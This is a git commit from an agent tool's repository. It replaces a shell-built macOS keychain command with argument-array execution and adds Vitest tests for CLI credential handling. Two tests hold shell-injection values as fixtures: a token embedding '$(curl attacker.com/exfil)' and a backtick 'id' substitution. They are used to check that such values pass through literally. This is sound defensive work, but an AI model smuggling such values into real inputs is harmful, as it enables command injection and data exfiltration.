mirror of
https://github.com/moltbot/moltbot.git
synced 2026-03-07 22:44:16 +00:00
fix(security): eliminate shell from Claude CLI keychain refresh
This commit is contained in:
Peter Steinberger
@@ -11,6 +11,7 @@ Docs: https://docs.openclaw.ai
|
||||
### Fixes
|
||||
|
||||
- Security/Agents: scope CLI process cleanup to owned child PIDs to avoid killing unrelated processes on shared hosts. Thanks @aether-ai-agent.
|
||||
- Security/Agents (macOS): prevent shell injection when writing Claude CLI keychain credentials. (#15924) Thanks @aether-ai-agent.
|
||||
- Security: fix Chutes manual OAuth login state validation (thanks @aether-ai-agent). (#16058)
|
||||
- Security/Discovery: stop treating Bonjour TXT records as authoritative routing (prefer resolved service endpoints) and prevent discovery from overriding stored TLS pins; autoconnect now requires a previously trusted gateway. Thanks @simecek.
|
||||
- macOS: hard-limit unkeyed `openclaw://agent` deep links and ignore `deliver` / `to` / `channel` unless a valid unattended key is provided. Thanks @Cillian-Collins.
|
||||
|
||||
332
src/agents/cli-credentials.test.ts
Normal file
332
src/agents/cli-credentials.test.ts
Normal file
@@ -0,0 +1,332 @@
|
||||
import fs from "node:fs";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const execSyncMock = vi.fn();
|
||||
const execFileSyncMock = vi.fn();
|
||||
|
||||
describe("cli credentials", () => {
|
||||
beforeEach(() => {
|
||||
vi.useFakeTimers();
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
vi.useRealTimers();
|
||||
execSyncMock.mockReset();
|
||||
execFileSyncMock.mockReset();
|
||||
delete process.env.CODEX_HOME;
|
||||
const { resetCliCredentialCachesForTest } = await import("./cli-credentials.js");
|
||||
resetCliCredentialCachesForTest();
|
||||
});
|
||||
|
||||
it("updates the Claude Code keychain item in place", async () => {
|
||||
execFileSyncMock.mockImplementation((file: unknown, args: unknown) => {
|
||||
const argv = Array.isArray(args) ? args.map(String) : [];
|
||||
if (String(file) === "security" && argv.includes("find-generic-password")) {
|
||||
return JSON.stringify({
|
||||
claudeAiOauth: {
|
||||
accessToken: "old-access",
|
||||
refreshToken: "old-refresh",
|
||||
expiresAt: Date.now() + 60_000,
|
||||
},
|
||||
});
|
||||
}
|
||||
return "";
|
||||
});
|
||||
|
||||
const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js");
|
||||
|
||||
const ok = writeClaudeCliKeychainCredentials(
|
||||
{
|
||||
access: "new-access",
|
||||
refresh: "new-refresh",
|
||||
expires: Date.now() + 60_000,
|
||||
},
|
||||
{ execFileSync: execFileSyncMock },
|
||||
);
|
||||
|
||||
expect(ok).toBe(true);
|
||||
|
||||
// Verify execFileSync was called with array args (no shell interpretation)
|
||||
expect(execFileSyncMock).toHaveBeenCalledTimes(2);
|
||||
const addCall = execFileSyncMock.mock.calls.find(
|
||||
([binary, args]) =>
|
||||
String(binary) === "security" &&
|
||||
Array.isArray(args) &&
|
||||
(args as unknown[]).map(String).includes("add-generic-password"),
|
||||
);
|
||||
expect(addCall?.[0]).toBe("security");
|
||||
expect((addCall?.[1] as string[] | undefined) ?? []).toContain("-U");
|
||||
});
|
||||
|
||||
it("prevents shell injection via malicious OAuth token values", async () => {
|
||||
const maliciousToken = "x'$(curl attacker.com/exfil)'y";
|
||||
|
||||
execFileSyncMock.mockImplementation((file: unknown, args: unknown) => {
|
||||
const argv = Array.isArray(args) ? args.map(String) : [];
|
||||
if (String(file) === "security" && argv.includes("find-generic-password")) {
|
||||
return JSON.stringify({
|
||||
claudeAiOauth: {
|
||||
accessToken: "old-access",
|
||||
refreshToken: "old-refresh",
|
||||
expiresAt: Date.now() + 60_000,
|
||||
},
|
||||
});
|
||||
}
|
||||
return "";
|
||||
});
|
||||
|
||||
const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js");
|
||||
|
||||
const ok = writeClaudeCliKeychainCredentials(
|
||||
{
|
||||
access: maliciousToken,
|
||||
refresh: "safe-refresh",
|
||||
expires: Date.now() + 60_000,
|
||||
},
|
||||
{ execFileSync: execFileSyncMock },
|
||||
);
|
||||
|
||||
expect(ok).toBe(true);
|
||||
|
||||
// The -w argument must contain the malicious string literally, not shell-expanded
|
||||
const addCall = execFileSyncMock.mock.calls.find(
|
||||
([binary, args]) =>
|
||||
String(binary) === "security" &&
|
||||
Array.isArray(args) &&
|
||||
(args as unknown[]).map(String).includes("add-generic-password"),
|
||||
);
|
||||
const args = (addCall?.[1] as string[] | undefined) ?? [];
|
||||
const wIndex = args.indexOf("-w");
|
||||
const passwordValue = args[wIndex + 1];
|
||||
expect(passwordValue).toContain(maliciousToken);
|
||||
// Verify it was passed as a direct argument, not built into a shell command string
|
||||
expect(addCall?.[0]).toBe("security");
|
||||
});
|
||||
|
||||
it("prevents shell injection via backtick command substitution in tokens", async () => {
|
||||
const backtickPayload = "token`id`value";
|
||||
|
||||
execFileSyncMock.mockImplementation((file: unknown, args: unknown) => {
|
||||
const argv = Array.isArray(args) ? args.map(String) : [];
|
||||
if (String(file) === "security" && argv.includes("find-generic-password")) {
|
||||
return JSON.stringify({
|
||||
claudeAiOauth: {
|
||||
accessToken: "old-access",
|
||||
refreshToken: "old-refresh",
|
||||
expiresAt: Date.now() + 60_000,
|
||||
},
|
||||
});
|
||||
}
|
||||
return "";
|
||||
});
|
||||
|
||||
const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js");
|
||||
|
||||
const ok = writeClaudeCliKeychainCredentials(
|
||||
{
|
||||
access: "safe-access",
|
||||
refresh: backtickPayload,
|
||||
expires: Date.now() + 60_000,
|
||||
},
|
||||
{ execFileSync: execFileSyncMock },
|
||||
);
|
||||
|
||||
expect(ok).toBe(true);
|
||||
|
||||
// Backtick payload must be passed literally, not interpreted
|
||||
const addCall = execFileSyncMock.mock.calls.find(
|
||||
([binary, args]) =>
|
||||
String(binary) === "security" &&
|
||||
Array.isArray(args) &&
|
||||
(args as unknown[]).map(String).includes("add-generic-password"),
|
||||
);
|
||||
const args = (addCall?.[1] as string[] | undefined) ?? [];
|
||||
const wIndex = args.indexOf("-w");
|
||||
const passwordValue = args[wIndex + 1];
|
||||
expect(passwordValue).toContain(backtickPayload);
|
||||
});
|
||||
|
||||
it("falls back to the file store when the keychain update fails", async () => {
|
||||
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-"));
|
||||
const credPath = path.join(tempDir, ".claude", ".credentials.json");
|
||||
|
||||
fs.mkdirSync(path.dirname(credPath), { recursive: true, mode: 0o700 });
|
||||
fs.writeFileSync(
|
||||
credPath,
|
||||
`${JSON.stringify(
|
||||
{
|
||||
claudeAiOauth: {
|
||||
accessToken: "old-access",
|
||||
refreshToken: "old-refresh",
|
||||
expiresAt: Date.now() + 60_000,
|
||||
},
|
||||
},
|
||||
null,
|
||||
2,
|
||||
)}\n`,
|
||||
"utf8",
|
||||
);
|
||||
|
||||
const writeKeychain = vi.fn(() => false);
|
||||
|
||||
const { writeClaudeCliCredentials } = await import("./cli-credentials.js");
|
||||
|
||||
const ok = writeClaudeCliCredentials(
|
||||
{
|
||||
access: "new-access",
|
||||
refresh: "new-refresh",
|
||||
expires: Date.now() + 120_000,
|
||||
},
|
||||
{
|
||||
platform: "darwin",
|
||||
homeDir: tempDir,
|
||||
writeKeychain,
|
||||
},
|
||||
);
|
||||
|
||||
expect(ok).toBe(true);
|
||||
expect(writeKeychain).toHaveBeenCalledTimes(1);
|
||||
|
||||
const updated = JSON.parse(fs.readFileSync(credPath, "utf8")) as {
|
||||
claudeAiOauth?: {
|
||||
accessToken?: string;
|
||||
refreshToken?: string;
|
||||
expiresAt?: number;
|
||||
};
|
||||
};
|
||||
|
||||
expect(updated.claudeAiOauth?.accessToken).toBe("new-access");
|
||||
expect(updated.claudeAiOauth?.refreshToken).toBe("new-refresh");
|
||||
expect(updated.claudeAiOauth?.expiresAt).toBeTypeOf("number");
|
||||
});
|
||||
|
||||
it("caches Claude Code CLI credentials within the TTL window", async () => {
|
||||
execSyncMock.mockImplementation(() =>
|
||||
JSON.stringify({
|
||||
claudeAiOauth: {
|
||||
accessToken: "cached-access",
|
||||
refreshToken: "cached-refresh",
|
||||
expiresAt: Date.now() + 60_000,
|
||||
},
|
||||
}),
|
||||
);
|
||||
|
||||
vi.setSystemTime(new Date("2025-01-01T00:00:00Z"));
|
||||
|
||||
const { readClaudeCliCredentialsCached } = await import("./cli-credentials.js");
|
||||
|
||||
const first = readClaudeCliCredentialsCached({
|
||||
allowKeychainPrompt: true,
|
||||
ttlMs: 15 * 60 * 1000,
|
||||
platform: "darwin",
|
||||
execSync: execSyncMock,
|
||||
});
|
||||
const second = readClaudeCliCredentialsCached({
|
||||
allowKeychainPrompt: false,
|
||||
ttlMs: 15 * 60 * 1000,
|
||||
platform: "darwin",
|
||||
execSync: execSyncMock,
|
||||
});
|
||||
|
||||
expect(first).toBeTruthy();
|
||||
expect(second).toEqual(first);
|
||||
expect(execSyncMock).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("refreshes Claude Code CLI credentials after the TTL window", async () => {
|
||||
execSyncMock.mockImplementation(() =>
|
||||
JSON.stringify({
|
||||
claudeAiOauth: {
|
||||
accessToken: `token-${Date.now()}`,
|
||||
refreshToken: "refresh",
|
||||
expiresAt: Date.now() + 60_000,
|
||||
},
|
||||
}),
|
||||
);
|
||||
|
||||
vi.setSystemTime(new Date("2025-01-01T00:00:00Z"));
|
||||
|
||||
const { readClaudeCliCredentialsCached } = await import("./cli-credentials.js");
|
||||
|
||||
const first = readClaudeCliCredentialsCached({
|
||||
allowKeychainPrompt: true,
|
||||
ttlMs: 15 * 60 * 1000,
|
||||
platform: "darwin",
|
||||
execSync: execSyncMock,
|
||||
});
|
||||
|
||||
vi.advanceTimersByTime(15 * 60 * 1000 + 1);
|
||||
|
||||
const second = readClaudeCliCredentialsCached({
|
||||
allowKeychainPrompt: true,
|
||||
ttlMs: 15 * 60 * 1000,
|
||||
platform: "darwin",
|
||||
execSync: execSyncMock,
|
||||
});
|
||||
|
||||
expect(first).toBeTruthy();
|
||||
expect(second).toBeTruthy();
|
||||
expect(execSyncMock).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
|
||||
it("reads Codex credentials from keychain when available", async () => {
|
||||
const tempHome = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-codex-"));
|
||||
process.env.CODEX_HOME = tempHome;
|
||||
|
||||
const accountHash = "cli|";
|
||||
|
||||
execSyncMock.mockImplementation((command: unknown) => {
|
||||
const cmd = String(command);
|
||||
expect(cmd).toContain("Codex Auth");
|
||||
expect(cmd).toContain(accountHash);
|
||||
return JSON.stringify({
|
||||
tokens: {
|
||||
access_token: "keychain-access",
|
||||
refresh_token: "keychain-refresh",
|
||||
},
|
||||
last_refresh: "2026-01-01T00:00:00Z",
|
||||
});
|
||||
});
|
||||
|
||||
const { readCodexCliCredentials } = await import("./cli-credentials.js");
|
||||
const creds = readCodexCliCredentials({ platform: "darwin", execSync: execSyncMock });
|
||||
|
||||
expect(creds).toMatchObject({
|
||||
access: "keychain-access",
|
||||
refresh: "keychain-refresh",
|
||||
provider: "openai-codex",
|
||||
});
|
||||
});
|
||||
|
||||
it("falls back to Codex auth.json when keychain is unavailable", async () => {
|
||||
const tempHome = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-codex-"));
|
||||
process.env.CODEX_HOME = tempHome;
|
||||
execSyncMock.mockImplementation(() => {
|
||||
throw new Error("not found");
|
||||
});
|
||||
|
||||
const authPath = path.join(tempHome, "auth.json");
|
||||
fs.mkdirSync(tempHome, { recursive: true, mode: 0o700 });
|
||||
fs.writeFileSync(
|
||||
authPath,
|
||||
JSON.stringify({
|
||||
tokens: {
|
||||
access_token: "file-access",
|
||||
refresh_token: "file-refresh",
|
||||
},
|
||||
}),
|
||||
"utf8",
|
||||
);
|
||||
|
||||
const { readCodexCliCredentials } = await import("./cli-credentials.js");
|
||||
const creds = readCodexCliCredentials({ execSync: execSyncMock });
|
||||
|
||||
expect(creds).toMatchObject({
|
||||
access: "file-access",
|
||||
refresh: "file-refresh",
|
||||
provider: "openai-codex",
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -382,13 +382,13 @@ export function readClaudeCliCredentialsCached(options?: {
|
||||
|
||||
export function writeClaudeCliKeychainCredentials(
|
||||
newCredentials: OAuthCredentials,
|
||||
options?: { execSync?: ExecSyncFn; execFileSync?: ExecFileSyncFn },
|
||||
options?: { execFileSync?: ExecFileSyncFn },
|
||||
): boolean {
|
||||
const execSyncImpl = options?.execSync ?? execSync;
|
||||
const execFileSyncImpl = options?.execFileSync ?? execFileSync;
|
||||
try {
|
||||
const existingResult = execSyncImpl(
|
||||
`security find-generic-password -s "${CLAUDE_CLI_KEYCHAIN_SERVICE}" -w 2>/dev/null`,
|
||||
const existingResult = execFileSyncImpl(
|
||||
"security",
|
||||
["find-generic-password", "-s", CLAUDE_CLI_KEYCHAIN_SERVICE, "-w"],
|
||||
{ encoding: "utf8", timeout: 5000, stdio: ["pipe", "pipe", "pipe"] },
|
||||
);
|
||||
|
||||
@@ -409,13 +409,20 @@ export function writeClaudeCliKeychainCredentials(
|
||||
|
||||
// Use execFileSync to avoid shell interpretation of user-controlled token values.
|
||||
// This prevents command injection via $() or backtick expansion in OAuth tokens.
|
||||
execFileSyncImpl("security", [
|
||||
"add-generic-password",
|
||||
"-U",
|
||||
"-s", CLAUDE_CLI_KEYCHAIN_SERVICE,
|
||||
"-a", CLAUDE_CLI_KEYCHAIN_ACCOUNT,
|
||||
"-w", newValue,
|
||||
], { encoding: "utf8", timeout: 5000, stdio: ["pipe", "pipe", "pipe"] });
|
||||
execFileSyncImpl(
|
||||
"security",
|
||||
[
|
||||
"add-generic-password",
|
||||
"-U",
|
||||
"-s",
|
||||
CLAUDE_CLI_KEYCHAIN_SERVICE,
|
||||
"-a",
|
||||
CLAUDE_CLI_KEYCHAIN_ACCOUNT,
|
||||
"-w",
|
||||
newValue,
|
||||
],
|
||||
{ encoding: "utf8", timeout: 5000, stdio: ["pipe", "pipe", "pipe"] },
|
||||
);
|
||||
|
||||
log.info("wrote refreshed credentials to claude cli keychain", {
|
||||
expires: new Date(newCredentials.expires).toISOString(),
|
||||
|
||||
Reference in New Issue
Block a user